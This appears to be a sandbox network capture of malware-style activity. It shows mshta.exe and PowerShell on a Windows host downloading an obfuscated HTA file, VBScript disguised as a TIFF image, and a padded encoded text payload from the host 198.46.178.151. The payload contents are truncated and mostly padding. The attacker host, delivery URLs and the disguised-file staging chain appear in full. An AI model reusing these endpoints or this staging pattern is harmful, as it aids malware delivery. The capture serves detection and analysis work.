Oct 30, 2024 07:52:57.441675901 CET	429	OUT	GET /65/hb/creatednewthingsforme.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Range: bytes=8896- Connection: Keep-Alive Host: 198.46.178.151 If-Range: "2a42f-625aa51e80fe9"
Oct 30, 2024 07:52:58.109330893 CET	1236	IN	HTTP/1.1 206 Partial Content Date: Wed, 30 Oct 2024 06:52:58 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 30 Oct 2024 04:41:49 GMT ETag: "2a42f-625aa51e80fe9" Accept-Ranges: bytes Content-Length: 164207 Content-Range: bytes 8896-173102/173103 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/hta Data Raw: 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 [TRUNCATED] Data Ascii: 25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520fnzdbkkdopwtdaqpdmzqdmggexnvlgikftpozcctsgtqsmowitmafgvurdtjewwiohmkvfsusmbokvdifftixndmxikxfyjrzurqwyutkauloeykpmwlkmqtsdmjtpjugyecllwynmzejrnlgeugchxzvdbpeakdekbstvlvwnrrenjxxbqqebmpccdorhyboujkehcufuxvfvaekrjpyzwagqtdprpadvbbxyjf%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%
Oct 30, 2024 07:52:58.109355927 CET	1236	IN	Data Raw: 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 Data Ascii: 25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%
Oct 30, 2024 07:52:58.109374046 CET	1236	IN	Data Raw: 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 Data Ascii: 52520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%252
Oct 30, 2024 07:52:58.109386921 CET	1236	IN	Data Raw: 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 Data Ascii: 20%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%2525253A%25252520%25252520%25252520%25252520%252525
Oct 30, 2024 07:52:58.109400034 CET	1236	IN	Data Raw: 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 Data Ascii: 25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%
Oct 30, 2024 07:52:58.109412909 CET	1236	IN	Data Raw: 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 Data Ascii: 52520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%252
Oct 30, 2024 07:52:58.109425068 CET	1236	IN	Data Raw: 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 Data Ascii: 52520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%252
Oct 30, 2024 07:52:58.109437943 CET	1236	IN	Data Raw: 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 Data Ascii: 20%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%252525
Oct 30, 2024 07:52:58.109450102 CET	248	IN	Data Raw: 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 Data Ascii: 252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25
Oct 30, 2024 07:52:58.109461069 CET	1236	IN	Data Raw: 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 Data Ascii: 0%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%2525252
Oct 30, 2024 07:52:58.114882946 CET	1236	IN	Data Raw: 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 32 35 32 35 32 30 25 32 35 Data Ascii: 5252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%25252520%2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.22	49165	198.46.178.151	80	3836	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:07.863817930 CET	378	OUT	GET /65/seethebesthtingswithmewhichgivegreatoutputofmegood.tIF HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 198.46.178.151 Connection: Keep-Alive
Oct 30, 2024 07:53:08.524044991 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:53:08 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 30 Oct 2024 04:34:38 GMT ETag: "225b2-625aa383f0578" Accept-Ranges: bytes Content-Length: 140722 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: image/tiff Data Raw: ff fe 70 00 72 00 69 00 76 00 61 00 74 00 65 00 20 00 66 00 75 00 6e 00 63 00 74 00 69 00 6f 00 6e 00 20 00 43 00 72 00 65 00 61 00 74 00 65 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 28 00 77 00 73 00 6d 00 61 00 6e 00 2c 00 20 00 63 00 6f 00 6e 00 53 00 74 00 72 00 2c 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2c 00 20 00 62 00 72 00 61 00 6e 00 64 00 61 00 6c 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 67 00 72 00 61 00 63 00 69 00 6f 00 73 00 6f 00 46 00 6c 00 61 00 67 00 73 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 63 00 6f 00 6e 00 4f 00 70 00 74 00 20 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 67 00 72 00 61 00 63 00 69 00 6f 00 73 00 6f 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 61 00 75 00 74 00 68 00 56 00 61 00 6c 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 65 00 6e 00 63 00 6f 00 64 00 69 00 6e 00 67 00 56 00 61 00 6c 00 0d 00 0a 00 20 00 20 00 20 00 20 00 64 00 69 00 6d 00 20 00 [TRUNCATED] Data Ascii: private function CreateSession(wsman, conStr, optDic, brandal) dim graciosoFlags dim conOpt dim gracioso dim authVal dim encodingVal dim encryptVal dim pw dim tout ' proxy information dim proxyAccessType dim proxyAccessTypeVal dim proxyAuthenticationMechanism dim proxyAuthenticationMechanismVal dim proxyUsername dim proxyPassword graciosoFlags = 0 proxyAccessType =
Oct 30, 2024 07:53:08.524097919 CET	1236	IN	Data Raw: 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 00 41 00 63 00 63 00 65 00 73 00 73 00 54 00 79 00 70 00 65 00 56 00 61 00 6c 00 20 00 3d 00 20 00 30 00 0d 00 0a 00 20 00 20 00 20 00 20 00 70 00 72 00 6f 00 78 00 79 Data Ascii: 0 proxyAccessTypeVal = 0 proxyAuthenticationMechanism = 0 proxyAuthenticationMechanismVal = 0 proxyU
Oct 30, 2024 07:53:08.524108887 CET	1236	IN	Data Raw: 00 22 00 75 00 74 00 66 00 2d 00 38 00 22 00 20 00 74 00 68 00 65 00 6e 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 67 00 72 00 61 00 63 00 69 00 6f 00 73 00 6f 00 46 00 6c 00 61 00 67 00 73 00 20 00 3d Data Ascii: "utf-8" then graciosoFlags = graciosoFlags OR wsman.SessionFlagUTF8 else ' Invalid!
Oct 30, 2024 07:53:08.524120092 CET	1236	IN	Data Raw: 00 5f 00 55 00 53 00 45 00 53 00 53 00 4c 00 29 00 20 00 74 00 68 00 65 00 6e 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 41 00 53 00 53 00 45 00 52 00 54 00 42 00 4f 00 4f 00 4c 00 20 00 6f 00 70 00 74 00 44 00 69 00 63 00 2e Data Ascii: _USESSL) then ASSERTBOOL optDic.ArgumentExists(NPARA_REMOTE), "The '-" & NPARA_USESSL & "' option is only va
Oct 30, 2024 07:53:08.524132967 CET	1236	IN	Data Raw: 00 27 00 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 20 00 69 00 73 00 20 00 6e 00 6f 00 74 00 20 00 76 00 61 00 6c 00 69 00 64 00 20 00 66 00 6f 00 72 00 20 00 27 00 2d 00 61 00 75 00 74 00 68 00 3a 00 6e 00 6f 00 6e 00 65 00 27 00 22 00 0d 00 0a Data Ascii: ' option is not valid for '-auth:none'" ASSERTBOOL not optDic.ArgumentExists(NPARA_USERNAME), "The '-" &
Oct 30, 2024 07:53:08.524143934 CET	1236	IN	Data Raw: 00 4e 00 50 00 41 00 52 00 41 00 5f 00 43 00 45 00 52 00 54 00 20 00 26 00 20 00 22 00 27 00 20 00 6f 00 70 00 74 00 69 00 6f 00 6e 00 20 00 69 00 73 00 20 00 6e 00 6f 00 74 00 20 00 76 00 61 00 6c 00 69 00 64 00 20 00 66 00 6f 00 72 00 20 00 27 Data Ascii: NPARA_CERT & "' option is not valid for '-auth:basic'" graciosoFlags = graciosoFlags OR wsman.SessionFla
Oct 30, 2024 07:53:08.524157047 CET	1236	IN	Data Raw: 00 77 00 73 00 6d 00 61 00 6e 00 2e 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 46 00 6c 00 61 00 67 00 55 00 73 00 65 00 44 00 69 00 67 00 65 00 73 00 74 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 63 Data Ascii: wsman.SessionFlagUseDigest case VAL_KERBEROS '-username and -password are optional.
Oct 30, 2024 07:53:08.524168968 CET	1236	IN	Data Raw: 00 69 00 6f 00 6e 00 46 00 6c 00 61 00 67 00 55 00 73 00 65 00 4e 00 65 00 67 00 6f 00 74 00 69 00 61 00 74 00 65 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 63 00 61 00 73 00 65 00 20 00 56 00 41 00 4c Data Ascii: ionFlagUseNegotiate case VAL_CERT '-certificate is mandatory. ASSERTBOOL
Oct 30, 2024 07:53:08.524180889 CET	1236	IN	Data Raw: 00 20 00 67 00 72 00 61 00 63 00 69 00 6f 00 73 00 6f 00 46 00 6c 00 61 00 67 00 73 00 20 00 4f 00 52 00 20 00 77 00 73 00 6d 00 61 00 6e 00 2e 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 46 00 6c 00 61 00 67 00 55 00 73 00 65 00 43 00 6c 00 69 Data Ascii: graciosoFlags OR wsman.SessionFlagUseClientCertificate case VAL_CREDSSP 'Use -username and
Oct 30, 2024 07:53:08.524193048 CET	1236	IN	Data Raw: 00 55 00 73 00 65 00 72 00 6e 00 61 00 6d 00 65 00 50 00 61 00 73 00 73 00 77 00 6f 00 72 00 64 00 20 00 4f 00 52 00 20 00 77 00 73 00 6d 00 61 00 6e 00 2e 00 53 00 65 00 73 00 73 00 69 00 6f 00 6e 00 46 00 6c 00 61 00 67 00 55 00 73 00 65 00 43 Data Ascii: UsernamePassword OR wsman.SessionFlagUseCredSSP case else ASSERTBOOL false, "The specified
Oct 30, 2024 07:53:08.529697895 CET	684	IN	Data Raw: 00 72 00 67 00 75 00 6d 00 65 00 6e 00 74 00 28 00 4e 00 50 00 41 00 52 00 41 00 5f 00 50 00 41 00 53 00 53 00 57 00 4f 00 52 00 44 00 29 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 65 00 6e 00 64 00 20 00 69 00 66 00 0d 00 0a Data Ascii: rgument(NPARA_PASSWORD) end if graciosoFlags = graciosoFlags OR wsman.SessionFlagCredUsernamePassword

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49171	198.46.178.151	80	2684	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:18.091068983 CET	464	OUT	GET /65/hb/creatednewthingsforme.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) If-Modified-Since: Wed, 30 Oct 2024 04:41:49 GMT Connection: Keep-Alive Host: 198.46.178.151 If-None-Match: "2a42f-625aa51e80fe9"
Oct 30, 2024 07:53:18.743153095 CET	275	IN	HTTP/1.1 304 Not Modified Date: Wed, 30 Oct 2024 06:53:18 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 30 Oct 2024 04:41:49 GMT ETag: "2a42f-625aa51e80fe9" Accept-Ranges: bytes Keep-Alive: timeout=5, max=100 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49175	198.46.178.151	80	3044	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 30, 2024 07:53:37.609347105 CET	78	OUT	GET /65/SMPLLLK.txt HTTP/1.1 Host: 198.46.178.151 Connection: Keep-Alive
Oct 30, 2024 07:53:38.281002998 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 06:53:38 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Wed, 30 Oct 2024 04:21:22 GMT ETag: "22aac-625aa08c9575e" Accept-Ranges: bytes Content-Length: 141996 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: =AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:38.281034946 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:38.281052113 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:38.281069994 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:38.281086922 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:38.281104088 CET	1060	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:38.281158924 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 30, 2024 07:53:38.281249046 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
